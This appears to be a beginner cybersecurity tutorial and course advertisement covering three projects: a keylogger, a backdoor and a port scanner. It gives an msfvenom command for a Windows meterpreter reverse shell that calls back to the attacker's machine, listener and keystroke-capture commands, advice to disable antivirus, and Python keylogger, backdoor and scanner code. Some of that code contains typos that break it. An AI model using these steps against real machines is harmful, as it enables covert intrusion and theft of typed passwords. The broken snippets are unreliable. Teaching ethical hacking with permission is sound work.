Cybersecurity Practice Projects For Beginners

Are you looking to upgrade your cybersecurity skills, get some hands-on practice, and improve your project portfolio?

Well, look no further! In this guide, I’m going to show you 3 beginner friendly cybersecurity projects that you can build in a matter of minutes with the help of just a few tools, so let's dive in!

How this will work

So before we get into the projects themselves, here’s a little information to get you set up.

We’re going to be creating 3 different projects:

• A Keylogger
• A Backdoor, and
• A Portscanner

This way you can get an idea of various hacking tools, how they work, and understand them better.

Also, I’m going to show you how to create these in two different ways.

Method #1. Tools

The first way will be by showing you how you can create these with minimal effort, using a tool.

This way you can get set up quickly, and understand how to use these projects, and the principles behind them.

Method #2. Python

The second way is what will get start you on the path to getting hired though. In this version, I’ll be showing you a simple version of the same project, but coded in the Python programming language.

Why bother to code it if there's a tool?

Because Python is a commonly used language in Cyber Security and Ethical Hacking, so it’s important to learn it in case you need to adapt or build something else in the future.

Also, it'll look far more impressive in a portfolio than I used X tool to do Y task.

However, because this is beginner friendly, I'm only going to cover the code and how it works vs a deep dive into everything, otherwise this would take hours to cover!

Resources

Because of these 2 methods, we'll be using 2 things:

• Kali Linux, and
• Python

Sidenote: If you're just starting out and you want to:

• Learn how to completely set these up and all the intricate details
• Build other cybersecurity projects
• Start a career as an Ethical hacker, Cybersecurity Engineer, or Bug Bounty Hunter
• Or just simply want help to pass the CompTIA+ security certificate

Then check out my courses on Zero To Mastery.

Each are designed to take you from absolutely zero experience to getting hired ASAP. And as an added bonus, you also have access to me and other students via a private Discord community, so you can ask any questions.

Alright, with that out of the way, let’s get into these projects!

Project #1: Build a Keylogger

A keylogger is a program that is used to capture keystrokes from a users keyboard.

The user types on the infected device, and then the keylogger sends that information to a 3rd party. This information could be anything from social media updates, to bank details, passwords and more.

So while the program itself is not malicious it can be used for malicious purposes so make sure that you get permission from the computer’s owner BEFORE you test it on a device that is not yours.

No joke. This counts as wiretapping and can lead to a prison sentence if you do it without permission, so always ask first.

(It's also why I'm not walking you through how to install these here).

OK, let's look at how to make this.

How to build a keylogger with Kali Linux

To create a keylogger inside Kali Linux, we need to first create something called a meterpreter shell, as this will allow us to establish a connection to another system in order to run the keylogger.

To create a meterpreter shell inside Kali Linux, you need to open the terminal window and run the following command:

$ msfvenom -p windows/x64/metepreter/reverse_tcp LHOST=192.168.1.7 LPORT=444 -f exe -0 shell.exe

So let's break down what this is, what it means, and how it all works:

• -p = payload
• LHOST = Kali Linux Local IP
• LPORT = Port for payload to connect to on Kali Linux
• -f = Output file to be .exe
• -o = Name of the output file

Once you’ve run that command, make sure to adjust the LHOST and LPORT option according to your own IP Address and port choice.

Sidenote: Technically we could do a lot more naughty things here because this is a similar setup to creating a backdoor, but we'll come back to this later.

To run this payload, you must transfer the shell.exe file onto a Windows target system that is in the same local network as Kali Linux, and set up a listener before executing it.

How to set up a listener

To set up a listener you want to run command msfconsole inside of your terminal.

Then, once msfconsole opens up, you want to execute these commands:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit (multi/handler) > set payload windows/x64/metepreter/reverse_tcp
payload => windows/x64/metepreter/reverse_tcp
msf6 exploit (multi/handler) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
msf6 exploit (multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

Again, make sure that LHOST and LPORT correspond to the same LHOST and LPORT that you used in our payload creation command previously.

Once you run these commands the listener has started and now you can execute the shell.exe command from a Windows device.

Sidenote: If you find that your shell.exe is not starting, disable all Antivirus software on your Windows machine and retry again. Once it works and the connection is established, you will see a meterpreter shell appear inside your msfconsole.

Now it's as easy as running the keylogger command:

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...

• keyscan_start - this will start the keylogger on the Windows machine
• keyscan_dump - this will output everything to the Kali Linux terminal that was typed in the Windows keyboard since the keylogger was started

Easy right?

This is a really simple way of running a keylogger on the target machine without the need to code it.

If you want to get hired though, people want to see your tech skills, so let us take a look at a basic code version in Python also.

Building a keylogger in Python

import keyboard
log_file = "keystrokes.log"

def on_key_press(event):
    with open(log_file, "a") as f:
        f.write(event.name)

Keyboard.on_press(on_key_press)

# Keep the program running to continue to logging keystrokes
keyboard.wait

As you can see, this is a pretty small program consisting of less than 10 lines of Python code, but that's because we’re just making a simple version for now so that it's 'beginner' friendly.

Here’s how it works, and why its a simple version:

Rather than capture every keystroke and send it to a 3rd party, this program will instead only capture keystrokes on the target machine that it is running on, and then store the keystrokes inside a file called keystrokes.log, which you can access later on.

So let's get into it and show you how to set this up.

To run this tool, you will need administrator/root privileges and you will need a keyboard library which you can install with the help of the command:

sudo pip3 install keyboard

Once the library is installed, run the program with the following command:

$ sudo python3 keylogger.py

So let’s test it. Go ahead and type something on your keyboard - it doesn’t matter what. Then, go across and look in the file keystrokes.log, (which will be created in the same directory where your keylogger.py is located), and then output the file content with the cat command:

$ cat keystrokes.log
Hellospaceworldbackspacebackspacebackspacebackspacebackspace

Here you can see that we wrote 'Hello world" and then pressed backspace multiple times to delete what we had typed.

Obviously, this is a fairly easy version to create, but you could upgrade it by adding a function to send that information across to a 3rd party device, but that's a lesson for another time.

Project #2: Build a Backdoor

In cybersecurity, a backdoor is a hidden and unauthorized access point in a computer system, application, or network that can be used to bypass normal authentication procedures and gain privileged access to the system or data.

They are typically created by attackers who exploit vulnerabilities in software and hardware or even trick company staff into installing them by accident.

Backdoors can:

• Bypass security controls
• Steal sensitive data
• Modify system configurations
• Launch attacks against other systems or networks
• And maintain persistent access to a compromised system, even if the original vulnerability used to gain access is patched or fixed.

The crazy thing is, they are not that hard to build, and we’ve actually created one already.

In the last project we showed you how to create a keylogger, but we used something called meterpreter to do that.

If you remember, we mentioned that a meterpreter can be used for more than just a keylogger, because we’re essentially building a backdoor onto the system.

This means we can do anything from executing commands on the target system, starting and closing programs to troll the user, or even taking screenshots and accessing the webcam on the target machine 😱.

Building a backdoor with Kali Linux

Alright, so you can create a meterpreter shell with the same process we used in the keylogger project before.

Then you can use the shell command to enter the command shell on the target system.

From there we can execute any commands that we can run in regular command prompt such as: dir, whoami, ipconfig, ping, cd, etc.

You can also test various different commands inside the meterpreter besides the shell command. Simply bring up the menu option with the help command, like so:

And that's it!

So let’s get into a more technical version, and show you what a simple backdoor/server program looks like in Python.

Building a backdoor with Python

Again, because we don’t want to make this overly complicated, I’m going to show you a simple version of how to do this.

We’re going to create a backdoor that just initiates connection, and then we will list a few libraries that you can use to add functionality to the program on your own.

Here is the server code:

import socket

serversocket = socket.socket(socket.AF_INET, socket.SCOK_STREAM)

host = socket.gethostname()

port = 9999

serversocket.bind((host, port))

serversocket.listen(1)

while True:
    clientsocket, addr = serversocket.acceppt()

    message = 'Welcome to the server!'
    clientsocket.send(message.encode())

    clientsocket.clost()

And here is the backdoor/client code:

import socket

serversocket = socket.socket(socket.AF_INET, socket.SCOK_STREAM)

host = socket.gethostname()

port = 9999

clientsocket.connect((host, port))

message = clientsocket.recv(1024),decode()
print(message)

clientsocket.close()

Ok so some notes.

• To make it work properly with an IP address, you can change the host = socket.gethostname() to host= ip, by setting it as the local IP of your Kali Linux address
• The port number can be any free port of your choice just make sure that IP and port match in both the server and backdoor program
• The socket library is used to establish a connection between these 2 programs and in order to confirm successful connectivity backdoor sends a message to the server

As I say though, this is only the base of a backdoor program. It's up to you to add some functionality to it, and the options are limitless.

Here are some ideas:

• Subprocess library - you can use it to execute commands on the target system
• Keyboard - you can implement keylogger inside your backdoor
• OS library - you can use it to change directory
• Threading library - you can use this library to make your server a threaded server in order to accept and maintain multiple connections at the same time

Project #3: Build a Portscanner

Portscanning is an important part of a penetration test, and you will hear about it a lot inside Cyber Security.

Here’s how it works:

Portscanning allows us to discover which ports are open, which are closed, and also which might be filtered or hidden behind a firewall.

This is nothing too amazing on its own, but when we pair that with more complex tools such as Nmap, we can also discover what software or service is being run on those open ports.

Why care about this?

Because we can then use that information to later try and discover whether any known vulnerabilities exist for that software's particular version - and then take advantage of it and gain access.

Sneaky eh, and it’s why you should always be updating your devices. Yep, even Linux.

Anyways, back to portscanning.

Building a portscanner with Kali Linux

Nmap is already pre installed inside Kali Linux, so let us take a look at a few examples of what Nmap can do.

In the above image we performed the most basic Nmap scan which can be done by using command nmap + ip.

Warning! In this example, the IP that I scanned was the local IP of my router, just to be safe. You can of course scan whichever IP you want, as long as you have permission.

Just like the keylogging before, port scanning with Nmap is illegal in some countries, so always get permission first!

This scan was using the additional option -sV.

Why?

Well, with the help of -sV we can also output the exact version of service that is running on discovered open ports, and see if any of them are vulnerable to known exploits.

Here’s another example:

In this example, we’re using -O command in order to discover which operating system that the target device is running. (In this case OS information is provided at the end of the scan).

However, just be aware that in some cases the results won't be fully accurate, so it’s always good to combine it with a different tool in order to double-check the information that Nmap gave you.

We’ve only scraped the surface of what's possible with Nmap, so I highly recommend you read the Nmap manual, as well as this free Nmap cheat sheet.

Let’s take this a step further then…

Building a portscanner with Python

Alright, so here are a few things that we want our portscanner program to do:

• Take IP as input
• Take amount of ports to scan as input
• Discover open ports
• Discover version of service on some of the open ports
• Be able to scan multiple targets

Here’s an example of how the code for this program would look like:

import socket
from termcolor import colored

def scan(target,ports):
    print('\n' + '*** Starting Scan For' + str(target) + ' ***')
    for port in range(1, ports):
        scan_port(target, port)

def get_banner(s):
    return s.recv(1024)

def scan_port(ipaddress, port):
    try:
        sock = socket.socket()
        sock.settimeout(0.3)
        sock.connect((ipaddress, port))
        try:
            banner = get_banner(sock)
            print('[+] Open Port ' + str(port) + ' :' + str(banner.decode().strip('\n')))
        except:
            print('[+] Open Port ' +str(port))
        sock.close()
    except:
        pass

targets = input('[+] Enter target To Scan: ')
ports = int(input('[+] Enter How Many Ports You Want To Scan: '))
if ',' in targets:
    print(colored(("\n[*] Scanning Multiple targets [*]\n"), 'green'))
    for ip_add in targets.split(','):
        scan(ip_add.strip(' '),ports)
else:
    scan(targets,ports)

Ok so some important info:

• We’re going to use the socket library again, but this time we need it to establish connectivity to a port on a target machine
• If we manage to connect within the specified timeout, then we consider port to be open
• scan() function is used to process and iterate over the range of ports provided while the scan_port() function scans one specific port
• While the get_banner() function receives data once the connection to the port is established. This is useful in case a banner is being sent by software running on that port since in many cases, a banner gives out the version of that software

Sidenote: If you noticed the if statement towards the end of the program, you'll see that this portscanner can scan multiple IPs and not just one. All you have to do is split the IP addresses with a comma ,.

Once the program is run, this is how the output should look like:

Simple right?

Now we can then take that information and either hack the system or use it in an ‘ethical hacking’ process, to find any vulnerabilities and fix them.

Now it's your turn. Get building!

So there you have it - three simple cybersecurity projects that you can build, and gain more experience today.

Still confused and not quite following along? I totally get that and don't worry. I felt that way too when I was first getting started in the world of ethical hacking and cybersecurity.

If you're want to get unstuck and learn step-by-step, come join myself and 100's of other students inside the ZTM Academy, many of whom are also complete beginners.

That way you'll learn everything you need to know, and be able to ask any questions if you get stuck.

Check out my cybersecurity courses to learn more, and watch the first lessons here for free.

Alternatively, if you’re not sure what area of cybersecurity you want to get into, go ahead and take this cybersecurity-specific career path and see which areas appeal to you, as well as the best things to learn and do to get hired in that field ASAP.